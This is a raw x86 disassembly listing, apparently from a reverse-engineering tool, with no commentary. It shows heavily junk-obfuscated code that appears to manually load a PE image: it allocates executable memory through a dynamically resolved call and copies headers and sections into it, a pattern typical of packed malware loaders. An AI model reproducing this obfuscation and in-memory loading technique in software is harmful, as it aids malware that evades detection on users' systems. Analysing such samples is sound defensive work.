movlpd qword [ebp - 0x308], xmm0
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
not eax
not ecx
push ecx
push eax
mov edx, dword [ebp - 0x2fc]
push edx
mov eax, dword [ebp - 0x300]
push eax
call fcn.1005a1b0
mov esi, eax
mov edi, edx
mov ecx, dword [0x1007f124]
push ecx
mov edx, dword [0x1007f120]
push edx
mov eax, dword [ebp - 0x304]
push eax
mov ecx, dword [ebp - 0x308]
push ecx
call fcn.1005a1b0
push edx
push eax
push edi
push esi
call fcn.1005a1b0
mov dword [ebp - 0x30], eax
movsx edx, word [ebp - 0x18]
mov dword [ebp - 0xb8], edx
cmp dword [ebp - 0xb8], 0
je 0x10014571
cmp dword [ebp - 0xb8], 1
je 0x100145ae
cmp dword [ebp - 0xb8], 2
je 0x10014646
jmp 0x10014673
movzx eax, word [0x1007f1b8]
imul ecx, eax, 0xb092
add ecx, dword [ebp - 0x24]
mov dword [ebp - 0x24], ecx
xor edx, edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
add eax, dword [0x1007f1bc]
adc ecx, edx
mov edx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
push ecx
push eax
push esi
push edx
call fcn.1005a1b0
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
jmp 0x10014673
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [0x1007f198]
mov esi, dword [0x1007f19c]
push edx
push eax
push esi
push ecx
call fcn.1005a1b0
mov ecx, dword [0x1007f198]
mov esi, dword [0x1007f19c]
sub ecx, eax
sbb esi, edx
mov dword [0x1007f198], ecx
mov dword [0x1007f19c], esi
mov edx, dword [0x1007f1bc]
xor eax, eax
mov ecx, dword [0x1007f17c]
push ecx
mov ecx, dword [0x1007f178]
push ecx
push eax
push edx
call fcn.1005a1b0
mov esi, eax
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
push eax
push edx
mov ecx, dword [0x1007f17c]
push ecx
mov edx, dword [0x1007f178]
push edx
call fcn.1005a1b0
sub esi, eax
mov dword [str.C], esi
push 0
push 0xf04460ac
mov eax, dword [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call fcn.1005a1b0
mov ecx, eax
mov eax, dword [ebp - 0x54]
cdq
add eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x10014673
mov edx, dword [0x1007f188]
xor edx, 0xf6ae70e6
mov word [0x1007f1a8], dx
mov eax, dword [0x1007fc38]
mov dword [ebp - 0x34], eax
mov ecx, dword [0x1007f1c0]
mov edx, dword [0x1007f1c4]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], edx
jmp 0x100146a6
mov eax, dword [ebp - 0x68]
shl eax, 8
mov word [0x1007f1b8], ax
mov ecx, dword [0x1007fc38]
xor edx, edx
mov dword [0x1007f1d0], ecx
mov dword [0x1007f1d4], edx
movsx eax, word [0x1007f1a8]
imul ecx, eax, 0xa00d0c70
mov word [ebp - 0x20], cx
mov edx, dword [ebp - 0xbc]
add edx, 0x12d
mov dword [ebp - 0x3ac], edx
push 0
push 0x2373
mov eax, dword [ebp - 0x6c]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
call fcn.1005a1b0
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov edx, dword [0x1007f158]
xor eax, eax
add edx, dword [0x1007f120]
adc eax, dword [0x1007f124]
add edx, dword [0x1007f120]
adc eax, dword [0x1007f124]
mov dword [0x1007f120], edx
mov dword [0x1007f124], eax
mov cx, word [0x1007f1b8]
sub cx, 1
mov word [0x1007f1b8], cx
mov edx, dword [ebp - 0xbc]
add edx, 0x319
mov dword [ebp - 0x61c], edx
movzx eax, byte [ebp - 0x13]
movsx ecx, byte [ebp - 0x11]
cmp eax, ecx
jge 0x100149cb
xor edx, edx
mov dword [ebp - 0x2c], 3
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x4cc], eax
mov dword [ebp - 0x4c8], ecx
mov edx, dword [ebp - 0x4cc]
or edx, dword [ebp - 0x4c8]
jne 0x10014769
mov dword [ebp - 0x1ac], 1
jmp 0x10014773
mov dword [ebp - 0x1ac], 0
imul eax, dword [ebp - 0x1ac], 0xffffffd8
mov ecx, dword [str.C]
not ecx
movzx edx, word [0x1007f128]
add ecx, edx
xor eax, ecx
xor ecx, ecx
mov dword [0x1007f178], eax
mov dword [0x1007f17c], ecx
mov dword [0x1007f158], 0xf65a1995
mov ecx, dword [0x1007f1b0]
add ecx, 0xc5
movzx eax, byte [0x1007f04e]
cdq
sub eax, ecx
mov byte [0x1007f04e], al
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x310], edx
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0
ja 0x100149c6
jb 0x100147ed
cmp dword [ebp - 0x310], 3
ja 0x100149c6
mov ecx, dword [ebp - 0x310]
mov dword [ebp - 0x6dc], ecx
mov edx, dword [ebp - 0x6dc]
jmp dword [edx*4 + 0x100172b8]
jmp 0x10014ac0
movzx eax, word [0x1007f16c]
cdq
mov dword [ebp - 0x4dc], eax
mov dword [ebp - 0x4d8], edx
mov edx, dword [ebp - 0x7c]
cmp edx, dword [ebp - 0x4d8]
ja 0x10014a03
jb 0x100149f7
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x4dc]
ja 0x10014a03
mov dword [ebp - 0x1b8], 1
jmp 0x10014a0d
mov dword [ebp - 0x1b8], 0
movzx eax, word [0x1007f14c]
cdq
mov ecx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x4e4], eax
mov dword [ebp - 0x4e0], edx
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x4e8], esi
mov edx, dword [ebp - 0x4e4]
cmp edx, dword [ebp - 0x4ec]
jne 0x10014a4f
mov eax, dword [ebp - 0x4e0]
cmp eax, dword [ebp - 0x4e8]
je 0x10014a5b
mov dword [ebp - 0x1bc], 1
jmp 0x10014a65
mov dword [ebp - 0x1bc], 0
mov ecx, dword [ebp - 0x1b8]
cmp ecx, dword [ebp - 0x1bc]
jg 0x10014ac0
mov ecx, dword [ebp - 0x88]
not ecx
mov esi, dword [ebp - 0x84]
not esi
movzx eax, word [ebp - 0x1c]
cdq
mov edi, dword [0x1007f164]
sub eax, dword [0x1007f160]
sbb edx, edi
not eax
not edx
push edx
push eax
push esi
push ecx
call fcn.1005a1b0
mov byte [ebp - 0x12], al
mov edx, dword [0x1007fc38]
mov dword [0x1007f154], edx
mov eax, dword [ebp - 0x88]
sub eax, 0xcbc233
mov dword [ebp - 0x24], eax
movzx ecx, word [ebp - 0x83e]
imul edx, ecx, 0x28
push edx
mov eax, dword [ebp - 0x1c0]
add eax, 0xf8
push eax
mov ecx, 0x28
imul edx, ecx, 0
lea eax, [ebp + edx - 0x9d4]
push eax
call fcn.1005afd0
add esp, 0xc
push 0x40
push 0x103000
mov ecx, dword [ebp - 0x7f4]
push ecx
push 0
push 0
push 0
call fcn.10001340
add esp, 8
call eax
mov dword [ebp - 0x8c], eax
mov byte [ebp - 0x13], 0x50
mov edx, dword [0x1007f144]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c4]
sub eax, dword [ebp - 0x398]
mov ecx, dword [ebp - 0x39c]
add ecx, dword [ebp - 0x1c4]
cmp eax, ecx
je 0x10017190
mov edx, 2
mov word [ebp - 0x20], dx
movzx eax, byte [0x1007f026]
add eax, 0x5d59833a
mov word [0x1007f128], ax
movsx ecx, byte [ebp - 0x12]
test ecx, ecx
jne 0x10014b77
xor edx, edx
mov dword [ebp - 0x4f4], 1
mov dword [ebp - 0x4f0], edx
jmp 0x10014b82
xorps xmm0, xmm0
movlpd qword [ebp - 0x4f4], xmm0
mov eax, dword [0x1007f138]
mov ecx, dword [0x1007f13c]
mov dword [ebp - 0x620], ecx
not eax
sub eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x34], eax
jmp 0x10014bb2
jmp 0x10014bcd
jmp 0x10014bf7
cmp dword [ebp - 0x8c], 0
je 0x10017190
movzx edx, word [ebp - 0x1c]
test edx, edx
je 0x10014cd9
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov dword [ebp - 0x4fc], eax
mov dword [ebp - 0x4f8], ecx
mov edx, dword [ebp - 0x4f8]
cmp edx, dword [0x1007f1c4]
jl 0x10014c4b
jg 0x10014c3f
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [0x1007f1c0]
jb 0x10014c4b
mov dword [ebp - 0x1c8], 1
jmp 0x10014c55
mov dword [ebp - 0x1c8], 0
cmp dword [ebp - 0x30], 0x52
jb 0x10014c67
mov dword [ebp - 0x1cc], 1
jmp 0x10014c71
mov dword [ebp - 0x1cc], 0
mov ecx, dword [ebp - 0x1c8]
cmp ecx, dword [ebp - 0x1cc]
jne 0x10014c95
movsx edx, byte [ebp - 0x11]
shl edx, 8
mov dword [ebp - 0x54], edx
mov eax, dword [0x1007fc38]
mov dword [0x1007f144], eax
jmp 0x10014cd7
mov ecx, dword [ebp - 0x30]
not ecx
movsx edx, byte [ebp - 0x12]
or ecx, edx
not ecx
test ecx, ecx
je 0x10014cd7
mov eax, dword [ebp - 0x44]
sub eax, 0xccad
mov ecx, dword [ebp - 0x40]
sbb ecx, 0
mov edx, dword [0x1007f138]
mov esi, dword [0x1007f13c]
sub edx, eax
sbb esi, ecx
mov dword [0x1007f138], edx
mov dword [0x1007f13c], esi
mov dword [ebp - 0x68], 0x80
jmp 0x10014cfd
movsx eax, word [0x1007f1a8]
add eax, 0x7e55a8c2
xor ecx, ecx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
movsx eax, word [ebp - 0x58]
add eax, 0x2b5f
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov edx, dword [0x100673e8]
mov dword [ebp - 0x600], edx
mov eax, dword [0x100673ec]
mov dword [ebp - 0x5fc], eax
mov ecx, dword [0x100673f0]
mov dword [ebp - 0x5f8], ecx
mov edx, dword [0x100673f4]
mov dword [ebp - 0x5f4], edx
mov ax, word [0x100673f8]
mov word [ebp - 0x5f0], ax
mov cl, byte [0x100673fa]
mov byte [ebp - 0x5ee], cl
lea edx, [ebp - 0x600]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cdq
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], edx
mov eax, dword [0x1007fc38]
mov dword [ebp - 0xc4], eax
mov ecx, 0x4164
mov word [0x1007f148], cx
mov edx, dword [ebp - 0x3c]
movsx eax, byte [ebp - 0x12]
lea ecx, [eax + edx - 0x1f45]
mov byte [ebp - 0x12], cl
mov edx, dword [ebp - 0xc4]
add edx, 0x148
mov dword [ebp - 0x624], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x4c], xmm0
movzx eax, byte [ebp - 0x13]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x628], eax
sub ecx, edx
movzx eax, byte [ebp - 0x13]
cdq
add eax, ecx
mov byte [ebp - 0x13], al
mov ecx, dword [0x1007f1d0]
mov edx, dword [0x1007f1d4]
mov dword [0x1007f130], ecx
mov dword [0x1007f134], edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x504], eax
mov dword [ebp - 0x500], ecx
mov edx, dword [ebp - 0x504]
or edx, dword [ebp - 0x500]
je 0x10014dfa
jmp 0x10014e6b
mov eax, dword [0x1007f144]
imul eax, dword [0x1007f158]
test eax, eax
jne 0x10014e1e
xor ecx, ecx
mov dword [ebp - 0x318], 1
mov dword [ebp - 0x314], ecx
jmp 0x10014e29
xorps xmm0, xmm0
movlpd qword [ebp - 0x318], xmm0
mov edx, dword [ebp - 0x314]
push edx
mov eax, dword [ebp - 0x318]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
mov edx, dword [ebp - 0x70]
push edx
call fcn.1005a1b0
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], edx
push 0
push 0x74b
mov eax, dword [0x1007f18c]
push eax
mov ecx, dword [0x1007f188]
push ecx
call fcn.1005a1b0
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0xc4]
add edx, 0x127
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 0xe4], 0
jmp 0x10014e98
mov eax, dword [ebp - 0xe4]
add eax, 2
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x243
jge 0x10014eeb
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov dword [0x1007f160], ecx
mov dword [0x1007f164], edx
mov eax, dword [0x1007f160]
mov ecx, dword [0x1007f164]
mov dword [ebp - 0x62c], ecx
add eax, 0x66c5b925
mov dword [ebp - 0x3c], eax
movsx edx, word [ebp - 0x18]
sar edx, 8
mov dword [0x1007f1bc], edx
mov eax, dword [0x1007f154]
add eax, 1
mov dword [0x1007f154], eax
jmp 0x10014e89
mov ecx, dword [ebp - 0xc4]
add ecx, 0xe2da
mov dword [ebp - 0x630], ecx
mov edx, dword [ebp - 0x34]
sub edx, 0x53
xor eax, eax
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], eax
imul ecx, dword [ebp - 0x50], 0x3571
test ecx, ecx
jne 0x10014f22
mov dword [ebp - 0x1d0], 1
jmp 0x10014f2c
mov dword [ebp - 0x1d0], 0
mov edx, dword [ebp - 0x1d0]
mov dword [ebp - 0x68], edx
cmp dword [ebp - 0x30], 0
jne 0x10014f47
mov dword [ebp - 0x1d4], 1
jmp 0x10014f51
mov dword [ebp - 0x1d4], 0
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x1d4]
mov ecx, eax
xor esi, esi
movzx eax, byte [ebp - 0x13]
cdq
and eax, dword [ebp - 0x44]
and edx, dword [ebp - 0x40]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], esi
mov edx, dword [0x100673fc]
mov dword [ebp - 0x614], edx
mov eax, dword [0x10067400]
mov dword [ebp - 0x610], eax
mov ecx, dword [0x10067404]
mov dword [ebp - 0x60c], ecx
mov edx, dword [0x10067408]
mov dword [ebp - 0x608], edx
mov ax, word [0x1006740c]
mov word [ebp - 0x604], ax
mov cl, byte [0x1006740e]
mov byte [ebp - 0x602], cl
lea edx, [ebp - 0x614]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [0x1007f1bc], eax
mov eax, dword [ebp - 0x1d8]
xor eax, 0x7fe4
mov ecx, 0x6fda
sub ecx, dword [ebp - 0x1d8]
sub eax, ecx
sub eax, 0xe55
mov dword [ebp - 0x3a4], eax
movzx edx, word [0x1007f128]
add edx, 0xf2d1
mov word [ebp - 0x1c], dx
mov ecx, 0x10
lea esi, [ebp - 0x724]
mov edi, dword [ebp - 0x8c]
rep movsd dword es:[edi], dword [esi]
movsx eax, word [ebp - 0x58]
cdq
push edx
push eax
push 0
push 0
push 0
push 0x38
push 0
push 0
call fcn.10034db0
add esp, 0x20
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov edx, dword [ebp - 0x380]
or edx, dword [ebp - 0x37c]
je 0x10015178
mov dword [0x1007f1bc], 1
mov eax, dword [0x1007f138]
mov ecx, dword [0x1007f13c]
push 0
push 0x5dfb
push ecx
push eax
call fcn.1005a1b0
mov dword [0x1007f140], eax
mov eax, dword [ebp - 0x24]
cdq
push edx
push eax
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0x88]
push eax
call fcn.1005a1b0
push edx
push eax
mov ecx, dword [ebp - 0x84]
push ecx
mov edx, dword [ebp - 0x88]
push edx
call fcn.1005a1b0
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], edx
mov eax, dword [0x1007f1bc]
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0
je 0x100150de
cmp dword [ebp - 0x1dc], 1
je 0x10015136
jmp 0x10015176
movzx eax, word [0x1007f1c8]
cdq
add eax, dword [ebp - 0x70]
adc edx, dword [ebp - 0x6c]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
movzx ecx, word [0x1007f14c]
imul eax, ecx, 0x34d5
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
movzx eax, byte [0x1007f04e]
cdq
add eax, dword [0x1007f188]
adc edx, dword [0x1007f18c]
mov ecx, dword [0x1007f188]
sub ecx, eax
mov eax, dword [0x1007f18c]
sbb eax, edx
mov dword [0x1007f188], ecx
mov dword [0x1007f18c], eax
jmp 0x10015176
cmp dword [ebp - 0x50], 0
je 0x1001514a
mov ecx, dword [0x1007f170]
mov dword [ebp - 0x1e0], ecx
jmp 0x10015153
mov edx, dword [ebp - 0x54]
mov dword [ebp - 0x1e0], edx
mov al, byte [ebp - 0x1e0]
mov byte [ebp - 0x12], al
mov ecx, dword [ebp - 0x88]
xor ecx, 0x3bfe8b17
mov edx, dword [0x1007f158]
sub edx, ecx
mov dword [0x1007f158], edx
jmp 0x1001518d
mov eax, 0xffffa3b9
mov word [ebp - 0x18], ax
mov ecx, dword [ebp - 0x30]
sub ecx, 0x4457
mov dword [ebp - 0x24], ecx
mov edi, dword [ebp - 0x8c]
add edi, dword [ebp - 0x6e8]
mov ecx, 0x3e
lea esi, [ebp - 0x844]
rep movsd dword es:[edi], dword [esi]
jmp 0x100151b7
movzx edx, word [ebp - 0x83e]
imul eax, edx, 0x28
push eax
mov ecx, 0x28
imul edx, ecx, 0
lea eax, [ebp + edx - 0x9d4]
push eax
mov ecx, dword [ebp - 0x6e8]
mov edx, dword [ebp - 0x8c]
lea eax, [edx + ecx + 0xf8]
push eax
call fcn.1005afd0
add esp, 0xc
movzx ecx, word [0x1007f1c8]
add ecx, dword [0x1007f158]
jne 0x10015209
mov dword [ebp - 0x1e4], 1
jmp 0x10015213
mov dword [ebp - 0x1e4], 0
movzx edx, word [0x1007f1b8]
not edx
add edx, dword [ebp - 0x1e4]
mov dword [ebp - 0x3c], edx
imul eax, dword [ebp - 0x30], 0xdf
xor ecx, ecx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], ecx
cmp dword [ebp - 0x6e8], 0x40
jbe 0x1001546c
movsx edx, byte [ebp - 0x11]
push edx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov word [0x1007f1a0], ax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x50c], eax
mov dword [ebp - 0x508], ecx
mov edx, dword [ebp - 0x50c]
or edx, dword [ebp - 0x508]
je 0x100153c3
push 0
call fcn.10037420
add esp, 4
mov word [ebp - 0x18], ax
movsx eax, word [0x1007f1a8]
cdq
mov dword [ebp - 0x514], eax
mov dword [ebp - 0x510], edx
mov eax, dword [ebp - 0x514]
cmp eax, dword [ebp - 0x44]
jne 0x100152c2
mov ecx, dword [ebp - 0x510]
cmp ecx, dword [ebp - 0x40]
jne 0x100152c2
xor edx, edx
mov dword [ebp - 0x320], 1
mov dword [ebp - 0x31c], edx
jmp 0x100152cd
xorps xmm0, xmm0
movlpd qword [ebp - 0x320], xmm0
mov eax, dword [0x1007f1b0]
cmp eax, dword [ebp - 0x320]
jne 0x100152e8
mov ecx, dword [0x1007f1b4]
cmp ecx, dword [ebp - 0x31c]
je 0x100152fc
xor edx, edx
mov dword [ebp - 0x328], 1
mov dword [ebp - 0x324], edx
jmp 0x10015307
xorps xmm0, xmm0
movlpd qword [ebp - 0x328], xmm0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x51c], eax
mov dword [ebp - 0x518], ecx
mov edx, dword [ebp - 0x518]
cmp edx, dword [ebp - 0x324]
jl 0x10015373
jg 0x10015337
mov eax, dword [ebp - 0x51c]
cmp eax, dword [ebp - 0x328]
jb 0x10015373
movzx eax, word [ebp - 0x1c]
cdq
mov ecx, eax
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x634], eax
add ecx, edx
movzx eax, word [ebp - 0x1c]
cdq
add eax, ecx
mov word [ebp - 0x1c], ax
imul ecx, dword [0x1007f140], 0xa9
mov dword [ebp - 0x30], ecx
movzx edx, byte [0x1007f04e]
shl edx, 4
mov byte [ebp - 0x11], dl
jmp 0x100153c1
cmp dword [ebp - 0x34], 0
je 0x100153c1
mov eax, dword [ebp - 0x38]
mov ecx, 4
imul edx, ecx, 0x1c
mov dword [edx + 0x103a81b0], eax
movzx eax, word [0x1007f14c]
movsx ecx, word [0x1007f15c]
add eax, ecx
movzx edx, word [0x1007f14c]
sub edx, eax
mov word [0x1007f14c], dx
mov eax, dword [0x1007f158]
imul eax, dword [str.C]
and eax, dword [0x1007f158]
mov dword [0x1007f158], eax
jmp 0x10015440
imul ecx, dword [ebp - 0x54], 0
movzx edx, byte [ebp - 0x13]
not edx
xor ecx, edx
jne 0x100153e5
xor eax, eax
mov dword [ebp - 0x330], 1
mov dword [ebp - 0x32c], eax
jmp 0x100153f0
xorps xmm0, xmm0
movlpd qword [ebp - 0x330], xmm0
mov ecx, dword [0x1007f190]
mov edx, dword [0x1007f194]
not ecx
not edx
xor ecx, dword [ebp - 0x330]
xor edx, dword [ebp - 0x32c]
mov dword [0x1007f1b0], ecx
mov dword [0x1007f1b4], edx
push 0
push 0xb2b92f62
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x60]
push ecx
call fcn.1005a1b0
mov dword [str.C], eax
mov edx, 0x2cfb9
mov dword [ebp - 0x4c], 0x1595e6d2
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x6e8]
sub eax, 0x40
push eax
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xdd4]
push eax
mov ecx, dword [ebp - 0x8c]
add ecx, 0x40
push ecx
call fcn.1005afd0
add esp, 0xc
jmp 0x1001548d
jmp 0x100154a6
jmp 0x100154b0
jmp 0x100154db
mov dword [ebp - 0x94], 0
jmp 0x100154f6
mov edx, dword [ebp - 0x94]
add edx, 1
mov dword [ebp - 0x94], edx
movzx eax, word [ebp - 0x83e]
cmp dword [ebp - 0x94], eax
jge 0x100158c4
mov eax, dword [ebp - 0x54]
cdq
sub eax, 0xc502cf6a
mov byte [0x1007f04e], al
mov ecx, dword [0x1007f160]
mov edx, dword [0x1007f164]
and ecx, dword [0x1007f198]
and edx, dword [0x1007f19c]
mov dword [0x1007f160], ecx
mov dword [0x1007f164], edx
mov eax, dword [ebp - 0x50]
sub eax, 0x1070d149
mov dword [0x1007f140], eax
mov ecx, dword [0x1007f130]
mov edx, dword [0x1007f134]
add ecx, 0xdfc6
adc edx, 0
mov eax, dword [0x1007f1d0]
mov esi, dword [0x1007f1d4]
add eax, ecx
adc esi, edx
mov dword [0x1007f1d0], eax
mov dword [0x1007f1d4], esi
imul ecx, dword [ebp - 0x94], 0x28
mov edx, dword [ebp + 8]
add edx, dword [ebp + ecx - 0x9c0]
mov dword [ebp - 0x3a0], edx
movzx eax, word [ebp - 0x1c]
cmp dword [0x1007f154], eax
jb 0x100155a6
mov dword [ebp - 0x1e8], 1
jmp 0x100155b0
mov dword [ebp - 0x1e8], 0
cmp dword [0x1007f154], 0x31
jb 0x100155c5
mov dword [ebp - 0x1ec], 1
jmp 0x100155cf
mov dword [ebp - 0x1ec], 0
mov ecx, dword [ebp - 0x1e8]
cmp ecx, dword [ebp - 0x1ec]
jne 0x100156c6
movzx edx, word [0x1007f1a0]
movsx eax, byte [ebp - 0x11]
cmp edx, eax
jl 0x10015603
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor ecx, ecx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], ecx
jmp 0x100156c1
mov edx, dword [ebp - 0x34]
not edx
movzx eax, word [0x1007f14c]
cmp edx, eax
jb 0x1001561f
mov dword [ebp - 0x1f0], 1
jmp 0x10015629
mov dword [ebp - 0x1f0], 0
movzx ecx, byte [0x1007f027]
movsx edx, byte [ebp - 0x11]
cmp ecx, edx
jge 0x10015644
mov dword [ebp - 0x1f4], 1
jmp 0x1001564e
mov dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x1f0]
cmp eax, dword [ebp - 0x1f4]
jge 0x10015668
mov dword [ebp - 0x1f8], 1
jmp 0x10015672
mov dword [ebp - 0x1f8], 0
mov ecx, dword [ebp - 0x1f8]
not ecx
test ecx, ecx
je 0x100156c1
mov edx, dword [0x1007f160]
mov eax, dword [0x1007f164]
push 0
push 0xc3478d8e
push eax
push edx
call fcn.1005a1b0
mov ecx, eax
movsx eax, word [ebp - 0x20]
cdq
sub eax, ecx
mov word [ebp - 0x20], ax
movzx eax, byte [0x1007f027]
cdq
push edx
push eax
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.1005a1b0
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
jmp 0x1001588c
mov ecx, dword [ebp - 0x34]
cmp dword [0x1007f140], ecx
jb 0x100156dd
mov dword [ebp - 0x1fc], 1
jmp 0x100156e7
mov dword [ebp - 0x1fc], 0
movzx edx, byte [0x1007f026]
add edx, dword [ebp - 0x1fc]
je 0x10015765
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov ecx, dword [0x1007f190]
mov edx, dword [0x1007f194]
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x520], edx
mov eax, dword [ebp - 0x524]
or eax, dword [ebp - 0x520]
jne 0x10015739
xor ecx, ecx
mov dword [ebp - 0x52c], 1
mov dword [ebp - 0x528], ecx
jmp 0x10015744
xorps xmm0, xmm0
movlpd qword [ebp - 0x52c], xmm0
mov edx, dword [ebp - 0x80]
sub edx, dword [ebp - 0x50]
not edx
mov eax, dword [0x1007f120]
not eax
xor eax, dword [ebp - 0x52c]
not eax
sub edx, eax
mov byte [ebp - 0x13], dl
jmp 0x1001588c
mov ecx, dword [0x1007f1d0]
mov esi, dword [0x1007f1d4]
movzx eax, byte [ebp - 0x13]
cdq
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0x530], esi
mov dword [ebp - 0x53c], eax
mov dword [ebp - 0x538], edx
mov edx, dword [ebp - 0x530]
cmp edx, dword [ebp - 0x538]
jl 0x1001588c
jg 0x100157b4
mov eax, dword [ebp - 0x534]
cmp eax, dword [ebp - 0x53c]
jb 0x1001588c
movzx ecx, word [0x1007f1a0]
imul ecx, dword [0x1007f154]
mov word [0x1007f1a0], cx
mov edx, dword [ebp - 0x3c]
not edx
mov eax, dword [0x1007f198]
mov ecx, dword [0x1007f19c]
mov dword [ebp - 0x638], ecx
sub edx, eax
mov dword [ebp - 0x50], edx
movsx edx, word [ebp - 0x20]
test edx, edx
jne 0x10015800
xor eax, eax
mov dword [ebp - 0x338], 1
mov dword [ebp - 0x334], eax
jmp 0x1001580b
xorps xmm0, xmm0
movlpd qword [ebp - 0x338], xmm0
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x544], ecx
mov dword [ebp - 0x540], edx
mov eax, dword [ebp - 0x544]
or eax, dword [ebp - 0x540]
jne 0x10015837
mov dword [ebp - 0x200], 1
jmp 0x10015841
mov dword [ebp - 0x200], 0
movzx eax, word [0x1007f16c]
cdq
sub eax, dword [ebp - 0x80]
sbb edx, dword [ebp - 0x7c]
mov ecx, dword [0x1007f1d0]
mov esi, dword [0x1007f1d4]
not ecx
not esi
add ecx, dword [ebp - 0x338]
adc esi, dword [ebp - 0x334]
sub eax, ecx
sbb edx, esi
mov ecx, dword [ebp - 0x200]
add ecx, 0x1dad68d4
xor esi, esi
xor eax, ecx
xor edx, esi
mov dword [0x1007f160], eax
mov dword [0x1007f164], edx
imul edx, dword [ebp - 0x94], 0x28
mov eax, dword [ebp + edx - 0x9c4]
push eax
mov ecx, dword [ebp - 0x3a0]
push ecx
imul edx, dword [ebp - 0x94], 0x28
mov eax, dword [ebp - 0x8c]
add eax, dword [ebp + edx - 0x9c8]
push eax
call fcn.1005afd0
add esp, 0xc
jmp 0x100154e7
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
cdq
mov dword [0x1007f188], eax
mov dword [0x1007f18c], edx
cmp dword [0x1007f18c], 0
ja 0x100158eb
cmp dword [0x1007f188], 0
jbe 0x10015912
mov ecx, 9
mov esi, str.ToomanyHTTPforward
lea edi, [ebp - 0x74c]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x74c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov word [ebp - 0x1c], ax
jmp 0x1001594f
mov edx, dword [ebp - 0x34]
sub edx, 0x59156321
mov dword [ebp - 0x24], edx
movzx eax, word [0x1007f1a0]
sub eax, 0x8ddc
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x24]
cdq
mov ecx, dword [ebp - 0x7c]
push ecx
mov ecx, dword [ebp - 0x80]
push ecx
push edx
push eax
call fcn.1005a1b0
mov ecx, eax
mov eax, dword [ebp - 0x24]
cdq
sub eax, ecx
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x8c]
push edx
call fcn.1001e3f0
add esp, 4
test eax, eax
jne 0x10016cb4
movsx eax, word [ebp - 0x18]
